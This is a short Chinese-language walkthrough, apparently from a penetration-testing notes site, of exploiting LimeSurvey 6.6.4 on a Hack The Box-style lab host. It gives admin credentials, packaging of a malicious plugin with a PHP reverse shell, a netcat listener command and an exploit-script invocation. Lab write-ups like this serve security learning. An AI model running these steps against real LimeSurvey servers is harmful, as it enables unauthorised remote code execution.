> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/limesurvey-cms-exploitation.md). # LimeSurvey LimeSurvey 6.6.4 利用笔记，涵盖经过身份验证的 RCE、恶意插件包创建、config.xml 滥用、PHP 反向 Shell 和插件 ID 定向。 ## LimeSurvey CMS 漏洞 {% embed url="" %}

#### 管理区域访问管理界面可通过以下 URL 访问： `http://take-survey.heal.htb/index.php/admin` 使用 Ralph 的凭据登录： * **用户名** : `ralph` * **密码** : `147258369`

LimeSurvey 版本为 **6.6.4**，其容易受到 **远程代码执行（RCE）**.

### 通过恶意扩展进行 RCE 利用 {% embed url="" %} 根据目标环境调整利用脚本。

首先，创建一个包含以下内容的压缩包： `config.xml` 以及一个 PHP 反向 shell： ```bash zip -r N4s1rl1.zip config.xml revshell.php ```

然后通过 LimeSurvey Web 界面安装恶意插件。

将鼠标悬停在已安装的插件上以识别插件 ID。

使用该 ID 更新脚本后，在 443 端口启动监听器： ```bash nc -nlvp 443 ``` 最后，使用 Python 运行利用脚本： ```bash python3 exploit.py http://take-survey.heal.htb ralph 147258369 80 ```

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